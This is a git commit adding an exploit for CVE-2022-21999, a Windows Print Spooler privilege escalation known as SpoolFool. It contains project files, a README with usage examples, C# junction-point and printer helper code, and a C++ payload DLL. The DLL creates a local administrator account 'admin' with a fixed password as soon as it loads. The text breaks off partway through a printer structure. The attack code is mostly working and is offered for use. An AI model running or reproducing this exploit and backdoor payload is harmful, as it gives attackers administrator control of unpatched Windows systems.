add CVE-2022-21999 exp

This commit is contained in:
dabiaoge 2022-02-10 12:02:50 +08:00
parent 4912e678d9
commit 88ba88c64c
22 changed files with 1294 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31613.86
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AddUser", "AddUser.vcxproj", "{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Debug|x64.ActiveCfg = Debug|x64
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Debug|x64.Build.0 = Debug|x64
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Debug|x86.ActiveCfg = Debug|Win32
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Debug|x86.Build.0 = Debug|Win32
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Release|x64.ActiveCfg = Release|x64
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Release|x64.Build.0 = Release|x64
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Release|x86.ActiveCfg = Release|Win32
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {1800AF02-CCEB-458E-AEF4-0C0DC61AF5FF}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,169 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{4c7714ee-c58d-4ef7-98f2-b162baec0ee0}</ProjectGuid>
<RootNamespace>AddUser</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;ADDUSER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;ADDUSER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;ADDUSER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;ADDUSER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="framework.h" />
<ClInclude Include="pch.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,33 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="framework.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="pch.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="pch.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@ -0,0 +1,55 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <LM.h>
#pragma comment(lib, "netapi32.lib")
void main()
{
wchar_t username[] = L"admin";
wchar_t password[] = L"Passw0rd!";
// Dynamically look up local administrators group name
BYTE builtinAdministratorsSid[SECURITY_MAX_SID_SIZE];
DWORD cbSize = sizeof(builtinAdministratorsSid);
CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, &builtinAdministratorsSid,
&cbSize);
SID_NAME_USE sidNameUse;
WCHAR name[128], referencedDomainName[128];
DWORD cchName = 128, cchReferencedDomainName = 128;
BOOL bres = LookupAccountSidW(NULL, builtinAdministratorsSid, name, &cchName, referencedDomainName, &cchReferencedDomainName, &sidNameUse);
// Create new user
USER_INFO_1 user;
memset(&user, 0, sizeof(USER_INFO_1));
user.usri1_name = username;
user.usri1_password = password;
user.usri1_priv = USER_PRIV_USER;
user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);
// Add the user to the administrators group
LOCALGROUP_MEMBERS_INFO_3 members;
members.lgrmi3_domainandname = username;
NetLocalGroupAddMembers(NULL, name, 3, (LPBYTE)&members, 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH: {
main();
break;
}
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return FALSE;
}

View File

@ -0,0 +1,5 @@
#pragma once
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files
#include <windows.h>

View File

@ -0,0 +1,5 @@
// pch.cpp: source file corresponding to the pre-compiled header
#include "pch.h"
// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.

View File

@ -0,0 +1,13 @@
// pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
// Do not add files here that you will be updating frequently as this negates the performance advantage.
#ifndef PCH_H
#define PCH_H
// add headers that you want to pre-compile here
#include "framework.h"
#endif //PCH_H

View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2022 Oliver Lyak
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,66 @@
# SpoolFool
Exploit for CVE-2022-21999 - Windows Print Spooler Elevation of Privilege Vulnerability (LPE)
## Details
The provided exploit should work by default on all Windows desktop versions.
Please see the blog post for full technical details [here](https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81).
## Usage
```powershell
PS C:\SpoolFool> .\SpoolFool.exe
SpoolFool
By Oliver Lyak (@ly4k_)
Examples:
C:\SpoolFool\SpoolFool.exe -dll add_user.dll
C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'
C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'
C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'
```
### Powershell
```powershell
PS C:\SpoolFool> ipmo .\SpoolFool.ps1
PS C:\SpoolFool> Invoke-SpoolFool
SpoolFool
By Oliver Lyak (@ly4k_)
Examples:
-dll add_user.dll
-dll add_user.dll -printer 'My Printer'
-dll add_user.dll -dir 'SECRET'
-dll add_user.dll -printer 'My Printer' -dir 'SECRET'
```
## Proof of Concept
The following PoC uses a DLL that creates a new local administrator `admin / Passw0rd!`. The DLL (`AddUser.dll`) and the source code can be found in this repository.
![](imgs/poc.png)
**Second run**
The following PoC demonstrates a second run of the provided exploit. Notice that the vulnerability is not exploited this time in order to load the DLL.
![](imgs/second_run.png)
## Artifacts
After the exploit has been executed, the following artifacts will be left for later cleanup:
- The created printer driver directory is not removed
- The payload DLL is copied to the printer driver directory and it is not removed
- Any created printer is not removed
- The `SpoolDirectory` value of the targeted printer is not restored
## Authors
- Oliver Lyak [@ly4k_](https://twitter.com/ly4k_)
## References
- [SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022-21999)](https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81)

Binary file not shown.

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
</startup>
</configuration>

View File

@ -0,0 +1,422 @@
// Taken from https://gist.github.com/LGM-AdrianHum/260bc9ab3c4cd49bc8617a2abe84ca74
using System;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32.SafeHandles;
namespace SpoolFool
{
/// <summary>
/// Provides access to NTFS junction points in .Net.
/// </summary>
[SuppressMessage("ReSharper", "InconsistentNaming")]
[SuppressMessage("ReSharper", "UnusedMember.Local")]
[SuppressMessage("ReSharper", "MemberCanBePrivate.Local")]
[SuppressMessage("ReSharper", "FieldCanBeMadeReadOnly.Local")]
public static class JunctionPoint
{
/// <summary>
/// The file or directory is not a reparse point.
/// </summary>
private const int ERROR_NOT_A_REPARSE_POINT = 4390;
/// <summary>
/// The reparse point attribute cannot be set because it conflicts with an existing attribute.
/// </summary>
private const int ERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391;
/// <summary>
/// The data present in the reparse point buffer is invalid.
/// </summary>
private const int ERROR_INVALID_REPARSE_DATA = 4392;
/// <summary>
/// The tag present in the reparse point buffer is invalid.
/// </summary>
private const int ERROR_REPARSE_TAG_INVALID = 4393;
/// <summary>
/// There is a mismatch between the tag specified in the request and the tag present in the reparse point.
/// </summary>
private const int ERROR_REPARSE_TAG_MISMATCH = 4394;
/// <summary>
/// Command to set the reparse point data block.
/// </summary>
private const int FSCTL_SET_REPARSE_POINT = 0x000900A4;
/// <summary>
/// Command to get the reparse point data block.
/// </summary>
private const int FSCTL_GET_REPARSE_POINT = 0x000900A8;
/// <summary>
/// Command to delete the reparse point data base.
/// </summary>
private const int FSCTL_DELETE_REPARSE_POINT = 0x000900AC;
/// <summary>
/// Reparse point tag used to identify mount points and junction points.
/// </summary>
private const uint IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
/// <summary>
/// This prefix indicates to NTFS that the path is to be treated as a non-interpreted
/// path in the virtual file system.
/// </summary>
private const string NonInterpretedPathPrefix = @"\??\";
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode,
IntPtr InBuffer, int nInBufferSize,
IntPtr OutBuffer, int nOutBufferSize,
out int pBytesReturned, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateFile(
string lpFileName,
EFileAccess dwDesiredAccess,
EFileShare dwShareMode,
IntPtr lpSecurityAttributes,
ECreationDisposition dwCreationDisposition,
EFileAttributes dwFlagsAndAttributes,
IntPtr hTemplateFile);
/// <summary>
/// Creates a junction point from the specified directory to the specified target directory.
/// </summary>
/// <remarks>
/// Only works on NTFS.
/// </remarks>
/// <param name="junctionPoint">The junction point path</param>
/// <param name="targetDir">The target directory</param>
/// <param name="overwrite">If true overwrites an existing reparse point or empty directory</param>
/// <exception cref="IOException">
/// Thrown when the junction point could not be created or when
/// an existing directory was found and <paramref name="overwrite" /> if false
/// </exception>
public static void Create(string junctionPoint, string targetDir, bool overwrite)
{
targetDir = Path.GetFullPath(targetDir);
if (!Directory.Exists(targetDir))
throw new IOException("Target path does not exist or is not a directory.");
if (Directory.Exists(junctionPoint))
{
if (!overwrite)
throw new IOException("Directory already exists and overwrite parameter is false.");
}
else
{
Directory.CreateDirectory(junctionPoint);
}
using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericWrite))
{
var targetDirBytes = Encoding.Unicode.GetBytes(NonInterpretedPathPrefix + Path.GetFullPath(targetDir));
var reparseDataBuffer =
new REPARSE_DATA_BUFFER
{
ReparseTag = IO_REPARSE_TAG_MOUNT_POINT,
ReparseDataLength = (ushort)(targetDirBytes.Length + 12),
SubstituteNameOffset = 0,
SubstituteNameLength = (ushort)targetDirBytes.Length,
PrintNameOffset = (ushort)(targetDirBytes.Length + 2),
PrintNameLength = 0,
PathBuffer = new byte[0x3ff0]
};
Array.Copy(targetDirBytes, reparseDataBuffer.PathBuffer, targetDirBytes.Length);
var inBufferSize = Marshal.SizeOf(reparseDataBuffer);
var inBuffer = Marshal.AllocHGlobal(inBufferSize);
try
{
Marshal.StructureToPtr(reparseDataBuffer, inBuffer, false);
int bytesReturned;
var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_SET_REPARSE_POINT,
inBuffer, targetDirBytes.Length + 20, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);
if (!result)
ThrowLastWin32Error("Unable to create junction point.");
}
finally
{
Marshal.FreeHGlobal(inBuffer);
}
}
}
/// <summary>
/// Deletes a junction point at the specified source directory along with the directory itself.
/// Does nothing if the junction point does not exist.
/// </summary>
/// <remarks>
/// Only works on NTFS.
/// </remarks>
/// <param name="junctionPoint">The junction point path</param>
public static void Delete(string junctionPoint)
{
if (!Directory.Exists(junctionPoint))
{
if (File.Exists(junctionPoint))
throw new IOException("Path is not a junction point.");
return;
}
using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericWrite))
{
var reparseDataBuffer = new REPARSE_DATA_BUFFER
{
ReparseTag = IO_REPARSE_TAG_MOUNT_POINT,
ReparseDataLength = 0,
PathBuffer = new byte[0x3ff0]
};
var inBufferSize = Marshal.SizeOf(reparseDataBuffer);
var inBuffer = Marshal.AllocHGlobal(inBufferSize);
try
{
Marshal.StructureToPtr(reparseDataBuffer, inBuffer, false);
int bytesReturned;
var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_DELETE_REPARSE_POINT,
inBuffer, 8, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);
if (!result)
ThrowLastWin32Error("Unable to delete junction point.");
}
finally
{
Marshal.FreeHGlobal(inBuffer);
}
try
{
Directory.Delete(junctionPoint);
}
catch (IOException ex)
{
throw new IOException("Unable to delete junction point.", ex);
}
}
}
/// <summary>
/// Determines whether the specified path exists and refers to a junction point.
/// </summary>
/// <param name="path">The junction point path</param>
/// <returns>True if the specified path represents a junction point</returns>
/// <exception cref="IOException">
/// Thrown if the specified path is invalid
/// or some other error occurs
/// </exception>
public static bool Exists(string path)
{
if (!Directory.Exists(path))
return false;
using (var handle = OpenReparsePoint(path, EFileAccess.GenericRead))
{
var target = InternalGetTarget(handle);
return target != null;
}
}
/// <summary>
/// Gets the target of the specified junction point.
/// </summary>
/// <remarks>
/// Only works on NTFS.
/// </remarks>
/// <param name="junctionPoint">The junction point path</param>
/// <returns>The target of the junction point</returns>
/// <exception cref="IOException">
/// Thrown when the specified path does not
/// exist, is invalid, is not a junction point, or some other error occurs
/// </exception>
public static string GetTarget(string junctionPoint)
{
using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericRead))
{
var target = InternalGetTarget(handle);
if (target == null)
throw new IOException("Path is not a junction point.");
return target;
}
}
private static string InternalGetTarget(SafeFileHandle handle)
{
var outBufferSize = Marshal.SizeOf(typeof(REPARSE_DATA_BUFFER));
var outBuffer = Marshal.AllocHGlobal(outBufferSize);
try
{
int bytesReturned;
var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_GET_REPARSE_POINT,
IntPtr.Zero, 0, outBuffer, outBufferSize, out bytesReturned, IntPtr.Zero);
if (!result)
{
var error = Marshal.GetLastWin32Error();
if (error == ERROR_NOT_A_REPARSE_POINT)
return null;
ThrowLastWin32Error("Unable to get information about junction point.");
}
var reparseDataBuffer = (REPARSE_DATA_BUFFER)
Marshal.PtrToStructure(outBuffer, typeof(REPARSE_DATA_BUFFER));
if (reparseDataBuffer.ReparseTag != IO_REPARSE_TAG_MOUNT_POINT)
return null;
var targetDir = Encoding.Unicode.GetString(reparseDataBuffer.PathBuffer,
reparseDataBuffer.SubstituteNameOffset, reparseDataBuffer.SubstituteNameLength);
if (targetDir.StartsWith(NonInterpretedPathPrefix))
targetDir = targetDir.Substring(NonInterpretedPathPrefix.Length);
return targetDir;
}
finally
{
Marshal.FreeHGlobal(outBuffer);
}
}
private static SafeFileHandle OpenReparsePoint(string reparsePoint, EFileAccess accessMode)
{
var reparsePointHandle = new SafeFileHandle(CreateFile(reparsePoint, accessMode,
EFileShare.Read | EFileShare.Write | EFileShare.Delete,
IntPtr.Zero, ECreationDisposition.OpenExisting,
EFileAttributes.BackupSemantics | EFileAttributes.OpenReparsePoint, IntPtr.Zero), true);
if (Marshal.GetLastWin32Error() != 0)
ThrowLastWin32Error("Unable to open reparse point.");
return reparsePointHandle;
}
private static void ThrowLastWin32Error(string message)
{
throw new IOException(message, Marshal.GetExceptionForHR(Marshal.GetHRForLastWin32Error()));
}
[Flags]
private enum EFileAccess : uint
{
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000
}
[Flags]
private enum EFileShare : uint
{
None = 0x00000000,
Read = 0x00000001,
Write = 0x00000002,
Delete = 0x00000004
}
private enum ECreationDisposition : uint
{
New = 1,
CreateAlways = 2,
OpenExisting = 3,
OpenAlways = 4,
TruncateExisting = 5
}
[Flags]
private enum EFileAttributes : uint
{
Readonly = 0x00000001,
Hidden = 0x00000002,
System = 0x00000004,
Directory = 0x00000010,
Archive = 0x00000020,
Device = 0x00000040,
Normal = 0x00000080,
Temporary = 0x00000100,
SparseFile = 0x00000200,
ReparsePoint = 0x00000400,
Compressed = 0x00000800,
Offline = 0x00001000,
NotContentIndexed = 0x00002000,
Encrypted = 0x00004000,
Write_Through = 0x80000000,
Overlapped = 0x40000000,
NoBuffering = 0x20000000,
RandomAccess = 0x10000000,
SequentialScan = 0x08000000,
DeleteOnClose = 0x04000000,
BackupSemantics = 0x02000000,
PosixSemantics = 0x01000000,
OpenReparsePoint = 0x00200000,
OpenNoRecall = 0x00100000,
FirstPipeInstance = 0x00080000
}
[StructLayout(LayoutKind.Sequential)]
private struct REPARSE_DATA_BUFFER
{
/// <summary>
/// Reparse point tag. Must be a Microsoft reparse point tag.
/// </summary>
public uint ReparseTag;
/// <summary>
/// Size, in bytes, of the data after the Reserved member. This can be calculated by:
/// (4 * sizeof(ushort)) + SubstituteNameLength + PrintNameLength +
/// (namesAreNullTerminated ? 2 * sizeof(char) : 0);
/// </summary>
public ushort ReparseDataLength;
/// <summary>
/// Reserved; do not use.
/// </summary>
public ushort Reserved;
/// <summary>
/// Offset, in bytes, of the substitute name string in the PathBuffer array.
/// </summary>
public ushort SubstituteNameOffset;
/// <summary>
/// Length, in bytes, of the substitute name string. If this string is null-terminated,
/// SubstituteNameLength does not include space for the null character.
/// </summary>
public ushort SubstituteNameLength;
/// <summary>
/// Offset, in bytes, of the print name string in the PathBuffer array.
/// </summary>
public ushort PrintNameOffset;
/// <summary>
/// Length, in bytes, of the print name string. If this string is null-terminated,
/// PrintNameLength does not include space for the null character.
/// </summary>
public ushort PrintNameLength;
/// <summary>
/// A buffer containing the unicode-encoded path string. The path string contains
/// the substitute name string and print name string.
/// </summary>
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x3FF0)] public byte[] PathBuffer;
}
}
}

View File

@ -0,0 +1,112 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace SpoolFool
{
class Printer
{
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool OpenPrinter(string pPrinterName, out IntPtr phPrinter, ref PRINTER_DEFAULTS pDefault);
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr AddPrinter(string pPrinterName, int level, ref PRINTER_INFO_2 printerInfo);
[StructLayout(LayoutKind.Sequential)]
struct PRINTER_DEFAULTS
{
[MarshalAs(UnmanagedType.LPTStr)] public string pDatatype;
public IntPtr pDevMode;
public int DesiredAccess;
}
private const int PRINTER_ACCESS_ADMINISTRATOR = 0x4;
private const int PRINTER_ACCESS_USE = 0x8;
private const int STANDARD_RIGHTS_REQUIRED = 0xF0000;
private const int PRINTER_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | PRINTER_ACCESS_ADMINISTRATOR | PRINTER_ACCESS_USE;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct PRINTER_INFO_2
{
[MarshalAs(UnmanagedType.LPTStr)]
public string pServerName;
[MarshalAs(UnmanagedType.LPTStr)]
public string pPrinterName;
[MarshalAs(UnmanagedType.LPTStr)]
public string pShareName;
[MarshalAs(UnmanagedType.LPTStr)]
public string pPortName;
[MarshalAs(UnmanagedType.LPTStr)]
public string pDriverName;
[MarshalAs(UnmanagedType.LPTStr)]
public string pComment;
[MarshalAs(UnmanagedType.LPTStr)]
public string pLocation;
public IntPtr pDevMode;
